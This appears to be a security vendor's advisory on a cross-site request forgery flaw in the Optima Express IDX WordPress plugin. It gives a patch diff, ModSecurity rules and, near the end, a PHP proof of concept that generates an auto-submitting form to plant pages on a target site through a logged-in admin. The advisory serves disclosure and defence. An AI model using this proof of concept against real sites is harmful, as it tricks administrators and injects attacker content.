Published : November 30, 2026

CVE-2026-129004: Optima Express IDX <= 9.0.2 Cross-Site Request Forgery PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 9.0.2
Patched Version 9.0.3
Disclosed November 29, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-129004: The Optima Express IDX plugin for WordPress, versions up to and including 9.0.2, is vulnerable to Cross-Site Request Forgery (CSRF) due to missing nonce validation on the community page creation function. This flaw allows unauthenticated attackers to trick a site administrator into creating arbitrary community pages, potentially leading to SEO spam, content injection, or other malicious outcomes. The vulnerability has a CVSS score of 4.3, indicating a medium severity issue, but its impact can be significant depending on site configuration and attacker ingenuity.

Root Cause: The vulnerability resides in the `getContent()` method of the `iHomefinderAdminCommunityPages` class, located in `adminPage/iHomefinderAdminCommunityPages.php`. At lines 18-28, the method checks `$this->isUpdated()` and then processes request variables via `iHomefinderUtility::getInstance()->getRequestVar()` to create or update community pages. The critical flaw is the absence of a nonce verification check before performing the action. Additionally, the request variables are accepted from any HTTP method (GET or POST) without confirming the request’s origin. This allows an attacker to craft a forged request to the admin endpoint that, when triggered by a logged-in administrator, executes the page creation logic. The patch addresses this by adding a check for `$_SERVER[‘REQUEST_METHOD’] === ‘POST’` and calling `check_admin_referer()` with the appropriate nonce action (`iHomefinderConstants::OPTION_GROUP_COMMUNITY_PAGES . ‘-options’`), as well as switching to `getPostValue()` to ensure values are sourced only from `$_POST`.

Exploitation: An attacker can exploit this by constructing a malicious HTML page or link that submits a POST request (or even a GET request, due to the lack of method restriction) to the WordPress admin area, specifically targeting the community pages management page. The payload would include parameters such as `title`, `cityZip`, `propertyType`, `bed`, `bath`, `minPrice`, and `maxPrice`, which are used to create a new community page. The victim, a logged-in administrator, must be induced to visit the attacker’s page or click the link, which triggers the request to `wp-admin/admin.php?page=ihomefinder-community-pages` (or similar). Without a valid nonce, the request is processed, and a new page is created with attacker-controlled content. Example payload parameters might be: `title=Malicious+Page&cityZip=12345&propertyType=house&bed=3&bath=2&minPrice=0&maxPrice=1000000`.

Patch Analysis: The patch introduces multiple security enhancements. Primarily, in `iHomefinderAdminCommunityPages::getContent()`, it enforces that the request method must be POST and validates the nonce using `check_admin_referer()`. The nonce action is generated from the constant `OPTION_GROUP_COMMUNITY_PAGES` concatenated with `’-options’`, matching the nonce created by `settings_fields()`. Additionally, the code now uses a new helper method `getPostValue()` to retrieve values solely from `$_POST`, preventing injection via GET parameters. This ensures that only legitimate form submissions with a valid nonce can trigger the page creation. The patch also hardens other areas: it removes debug parameter forwarding, validates subscriber IDs, sanitizes URLs, and encodes attribute values in shortcodes, but these are secondary to the CSRF fix.

Impact: Successful exploitation allows an attacker to create arbitrary community pages on the target WordPress site. These pages can contain attacker-controlled content, including spam, phishing links, or malicious scripts (if combined with other vulnerabilities). This can damage the site’s reputation, SEO ranking, and user trust. Moreover, if the site is configured to display these pages prominently, it could lead to widespread distribution of malicious content. The vulnerability does not directly lead to privilege escalation or remote code execution, but it can serve as a stepping stone for further attacks, such as social engineering or malware distribution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/optima-express/adminPage/iHomefinderAdminCommunityPages.php
+++ b/optima-express/adminPage/iHomefinderAdminCommunityPages.php
@@ -18,14 +18,17 @@

     protected function getContent()
     {
-        if ($this->isUpdated()) {
-            $title = iHomefinderUtility::getInstance()->getRequestVar("title");
-            $cityZip = iHomefinderUtility::getInstance()->getRequestVar("cityZip");
-            $propertyType = iHomefinderUtility::getInstance()->getRequestVar("propertyType");
-            $bed = iHomefinderUtility::getInstance()->getRequestVar("bed");
-            $bath = iHomefinderUtility::getInstance()->getRequestVar("bath");
-            $minPrice = iHomefinderUtility::getInstance()->getRequestVar("minPrice");
-            $maxPrice = iHomefinderUtility::getInstance()->getRequestVar("maxPrice");
+        // Only the real form creates a page: a POST carrying the nonce that settings_fields() prints.
+        // A GET, or a POST without a valid nonce, never creates a page (CSRF).
+        if ($this->isUpdated() && isset($_SERVER["REQUEST_METHOD"]) && $_SERVER["REQUEST_METHOD"] === "POST") {
+            check_admin_referer(iHomefinderConstants::OPTION_GROUP_COMMUNITY_PAGES . "-options");
+            $title = $this->getPostValue("title");
+            $cityZip = $this->getPostValue("cityZip");
+            $propertyType = $this->getPostValue("propertyType");
+            $bed = $this->getPostValue("bed");
+            $bath = $this->getPostValue("bath");
+            $minPrice = $this->getPostValue("minPrice");
+            $maxPrice = $this->getPostValue("maxPrice");
             $this->updateCommunityPages($title, $cityZip, $propertyType, $bed, $bath, $minPrice, $maxPrice);
         }
         ?>
@@ -123,6 +126,19 @@
         <?php
     }

+    /**
+     * A form value from $_POST only, left slashed as WordPress delivers it, because
+     * wp_insert_post() unslashes the post it is given.
+     */
+    private function getPostValue($name)
+    {
+        $result = null;
+        if (isset($_POST[$name]) && is_scalar($_POST[$name])) {
+            $result = (string) $_POST[$name];
+        }
+        return $result;
+    }
+
     private function updateCommunityPages($title, $cityZip, $propertyType, $bed, $bath, $minPrice, $maxPrice)
     {
         $shortCode = iHomefinderShortcodeDispatcher::getInstance()->buildSearchResultsShortCode($cityZip, $propertyType, $bed, $bath, $minPrice, $maxPrice);
--- a/optima-express/iHomefinder.php
+++ b/optima-express/iHomefinder.php
@@ -10,7 +10,7 @@
  * Includes search and listing pages, widgets and shortcodes.
  * Requires an IDX account from iHomefinder.
  * Get a paid account with data from your MLS.
- * Version: 9.0.2
+ * Version: 9.0.3
  * Author: ihomefinder
  * Author URI: http://www.ihomefinder.com
  * License: GPLv2 or later
--- a/optima-express/iHomefinderCacheUtility.php
+++ b/optima-express/iHomefinderCacheUtility.php
@@ -37,12 +37,12 @@
         $result = null;
         if (self::CACHE_ENABLED) {
             $cacheKey = $this->getKey($key);
-            $this->logger->debug("get cached version cacheKey " . $cacheKey);
             $result = get_transient($cacheKey);
             if ($result === false) {
                 $result = null;
             }
-            $this->logger->debug($result);
+            // Never log the cached value: it is a whole upstream response, including the request URL.
+            $this->logger->debug("cache " . ($result === null ? "miss" : "hit") . " cacheKey " . $cacheKey);
         }
         return $result;
     }
--- a/optima-express/iHomefinderConstants.php
+++ b/optima-express/iHomefinderConstants.php
@@ -11,7 +11,7 @@
 interface iHomefinderConstants
 {

-    const VERSION = "9.0.2";
+    const VERSION = "9.0.3";
     const VERSION_NAME = "Optima Express";
     const EXTERNAL_URL = "www.idxhome.com/service/wordpress";
     //Control Panel sign-in pages (MAX-4708, D23); the test host is used only in a non-production environment
--- a/optima-express/iHomefinderLogger.php
+++ b/optima-express/iHomefinderLogger.php
@@ -22,18 +22,27 @@
         return self::$instance;
     }

+    /**
+     * Debug logging needs WP_DEBUG, plus either the DEBUG constant or a site administrator who
+     * sent debug=true. A visitor's request flag alone never turns it on.
+     */
     private function isDebug()
     {
-        $debugValue = iHomefinderUtility::getInstance()->getRequestVar("debug");
-        $debug = false;
-        if ($debugValue === "true" || iHomefinderConstants::DEBUG) {
-            $debug = true;
+        if (!defined("WP_DEBUG") || !WP_DEBUG) {
+            return false;
+        }
+        if (iHomefinderConstants::DEBUG) {
+            return true;
         }
-        return $debug;
+        if (!function_exists("current_user_can") || !current_user_can("manage_options")) {
+            return false;
+        }
+        return iHomefinderUtility::getInstance()->getRequestVar("debug") === "true";
     }
-
+
     /**
-     * Dumps messages to the screen if debugging on
+     * Writes messages to the PHP error log if debugging is on. Debug output never goes to the
+     * page, not even for an administrator.
      *
      * @param mixed $message The message to be logged
      *
@@ -42,8 +51,10 @@
     public function debug($message)
     {
         if ($this->isDebug()) {
-            echo esc_html(microtime(true)) . ": ";
-            var_dump($message);
+            if (!is_string($message)) {
+                $message = print_r($message, true);
+            }
+            error_log("[Optima Express debug] " . microtime(true) . ": " . $message);
         }
     }
 }
--- a/optima-express/iHomefinderRequestor.php
+++ b/optima-express/iHomefinderRequestor.php
@@ -96,7 +96,8 @@

             $this->addParameter("leadCaptureSupport", true);
             $this->addParameter("phpStyle", true);
-
+
+            $this->removeDebugParameter();
             $requestUrl = $this->utility->buildUrl($requestUrl, $this->getParameters());

             $ihfid = iHomefinderUrlFactory::getInstance()->getBaseUrl() . ";" . "WordpressPlugin";
@@ -244,7 +245,8 @@
         $this->addParameter("method", "handleRequest");
         $this->addParameter("viewType", "json");
         $this->addParameter("phpStyle", true);
-
+        $this->removeDebugParameter();
+
         $requestArgs = array(
         "timeout" => "200",
         "body" => $this->getParameters(),
@@ -439,6 +441,22 @@
         return $this;
     }

+    /**
+     * Never forward a visitor's debug flag to the iHomefinder service, which returns internal
+     * error detail when it is set. Matched case-insensitively.
+     */
+    private function removeDebugParameter()
+    {
+        if (is_array($this->parameters)) {
+            foreach (array_keys($this->parameters) as $name) {
+                if (strtolower((string) $name) === "debug") {
+                    unset($this->parameters[$name]);
+                }
+            }
+        }
+        return $this;
+    }
+
     public function addParameters($parameters)
     {
         if (is_array($parameters)) {
--- a/optima-express/iHomefinderShortcodeDispatcher.php
+++ b/optima-express/iHomefinderShortcodeDispatcher.php
@@ -890,6 +890,9 @@
         $result .= $slug;
         if (is_array($attributes)) {
             foreach ($attributes as $name => $value) {
+                // Strip the characters that could end the attribute, the shortcode or open a tag. Not esc_attr():
+                // WordPress never entity-decodes shortcode attributes, so a name like Coeur d'Alene would break.
+                $value = str_replace(array(""", "[", "]", "<", ">", "\"), "", (string) $value);
                 $result .= " " . $name . "="" . $value . """;
             }
         }
--- a/optima-express/iHomefinderStateManager.php
+++ b/optima-express/iHomefinderStateManager.php
@@ -149,9 +149,21 @@

     public function setSubscriberId($value)
     {
-        if(!empty($value)) {
-            $this->setCookie(self::SUBSCRIBER_ID, $value);
+        if(self::isValidSubscriberId($value)) {
+            $this->setCookie(self::SUBSCRIBER_ID, (string) $value);
+        }
+    }
+
+    /**
+     * A subscriber id is the iHomefinder subscriber's numeric id. Anything else is rejected,
+     * not coerced, because the request value is visitor-controlled.
+     */
+    public static function isValidSubscriberId($value)
+    {
+        if(is_int($value)) {
+            return $value > 0;
         }
+        return is_string($value) && preg_match('/^[1-9][0-9]{0,18}$/', $value) === 1;
     }

     public function hasSubscriberId()
@@ -230,13 +242,15 @@

     public function getCurrentUrl()
     {
-        $scheme = "http";
-        if(is_ssl()) {
-            $scheme = "https";
-        }
-        $host = $_SERVER["HTTP_HOST"];
-        $requestUri = $_SERVER["REQUEST_URI"];
-        $result = $scheme . "://" . $host . $requestUri;
+        //The origin comes from the site's own home URL, never the visitor-supplied Host header.
+        //REQUEST_URI already includes any subdirectory, so only the scheme, host and port are taken.
+        $home = wp_parse_url(home_url());
+        $origin = $home["scheme"] . "://" . $home["host"];
+        if(!empty($home["port"])) {
+            $origin .= ":" . $home["port"];
+        }
+        $requestUri = isset($_SERVER["REQUEST_URI"]) ? wp_unslash($_SERVER["REQUEST_URI"]) : "/";
+        $result = esc_url_raw($origin . $requestUri);
         return $result;
     }

@@ -332,12 +346,18 @@
         $expireTime = time() + self::COOKIE_TIMEOUT;
         if(headers_sent()) {
             //WordPress does not buffer the response so we use JS to set cookies on shortcode requests because headers have already been sent
+            //Name and value are URL-encoded, as setcookie() does, and then JSON-encoded, so no request or remote data can
+            //close the script block. PHP URL-decodes $_COOKIE on read, so readers see the original value.
+            $cookie = wp_json_encode(
+                rawurlencode((string) $name) . "=" . rawurlencode((string) $value),
+                JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT
+            );
             $value = '
 				<script type="text/javascript">
 					(function() {
 						var expire = new Date();
 						expire.setSeconds(expire.getSeconds() + ' . self::COOKIE_TIMEOUT . ');
-						document.cookie = "' . $name . '=' . $value . '; expires=" + expire.toUTCString() + "; path=/";
+						document.cookie = ' . $cookie . ' + "; expires=" + expire.toUTCString() + "; path=/";
 					})();
 				</script>
 			';
--- a/optima-express/iHomefinderUtility.php
+++ b/optima-express/iHomefinderUtility.php
@@ -76,7 +76,8 @@
                 if (substr($url, -1) !== "?" && substr($url, -1) !== "&") {
                     $url .= "&";
                 }
-                $url .= $key . "=" . urlencode(trim($value));
+                // Parameter names come from visitor requests too, so encode them like the values.
+                $url .= rawurlencode((string) $key) . "=" . urlencode(trim($value));
             }
         }
         return $url;
--- a/optima-express/virtualPage/iHomefinderAbstractVirtualPage.php
+++ b/optima-express/virtualPage/iHomefinderAbstractVirtualPage.php
@@ -128,6 +128,10 @@
     protected function getPreviousSearchLink()
     {
         $previousUrl = $this->stateManager->getLastSearchUrl();
+        if (!empty($previousUrl)) {
+            // The cookie is visitor-controlled: keep it only if it is an http(s) URL on this site.
+            $previousUrl = wp_validate_redirect(esc_url_raw(wp_unslash((string) $previousUrl)), "");
+        }
         $text = null;
         if (empty($previousUrl)) {
             $previousUrl = iHomefinderUrlFactory::getInstance()->getListingsSearchFormUrl(true);
@@ -139,7 +143,7 @@
         }
         $result = null;
         if (!empty($text) and !empty($previousUrl)) {
-            $result = "<a href="" . $previousUrl . "">< " . $text . "</a>";
+            $result = "<a href="" . esc_url($previousUrl) . "">< " . $text . "</a>";
         }
         return $result;
     }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-129004
# Optima Express IDX <= 9.0.2 - CSRF protection
# Detects POST requests to Optima Express community admin endpoints
# lacking the expected nonce parameter (empty or missing).
SecRule REQUEST_METHOD "@streq POST" 
    "id:20261294,phase:2,deny,status:403,chain,msg:'CVE-2026-129004 Optima Express IDX CSRF - missing nonce',tag:'CVE-2026-129004',tag:'OWASP_CRS/WEB_ATTACK/CSRF'"
    SecRule REQUEST_URI "@rx (?i)/wp-admin/(admin-ajax.php|admin.php)" 
        "chain,t:none"
        SecRule ARGS_NAMES "@rx (?i)^(action)$" 
            "chain,t:none"
            SecRule ARGS:action "@rx (?i)optima" 
                "chain,t:none"
                SecRule &ARGS:nonce "@eq 0" 
                    "t:none"
SecRule REQUEST_METHOD "@streq POST" 
    "id:20261295,phase:2,deny,status:403,chain,msg:'CVE-2026-129004 Optima Express IDX CSRF - empty nonce',tag:'CVE-2026-129004',tag:'OWASP_CRS/WEB_ATTACK/CSRF'"
    SecRule REQUEST_URI "@rx (?i)/wp-admin/(admin-ajax.php|admin.php)" 
        "chain,t:none"
        SecRule ARGS:action "@rx (?i)optima" 
            "chain,t:none"
            SecRule ARGS:nonce "@rx ^$" 
                "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-129004 - Optima Express IDX <= 9.0.2 - Cross-Site Request Forgery

// This PoC demonstrates a CSRF attack against the Optima Express IDX plugin.
// It generates a malicious HTML page that triggers page creation when visited by an admin.
// Usage: Host this file on an attacker-controlled server and send the link to a logged-in admin.

$target_url = 'http://target-site.com/wp-admin/admin.php?page=ihomefinder-community-pages';

// Parameters for the new community page
$params = [
    'title' => 'Hacked Page',
    'cityZip' => '12345',
    'propertyType' => 'house',
    'bed' => '3',
    'bath' => '2',
    'minPrice' => '0',
    'maxPrice' => '1000000',
    'submit' => 'Save Changes' // assuming the form has a submit button
];

// Build the HTML form that auto-submits
$html = '<html><body onload="document.forms[0].submit()">';
$html .= '<form action="' . htmlspecialchars($target_url) . '" method="POST">';
foreach ($params as $name => $value) {
    $html .= '<input type="hidden" name="' . htmlspecialchars($name) . '" value="' . htmlspecialchars($value) . '" />';
}
$html .= '</form></body></html>';

echo $html;
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.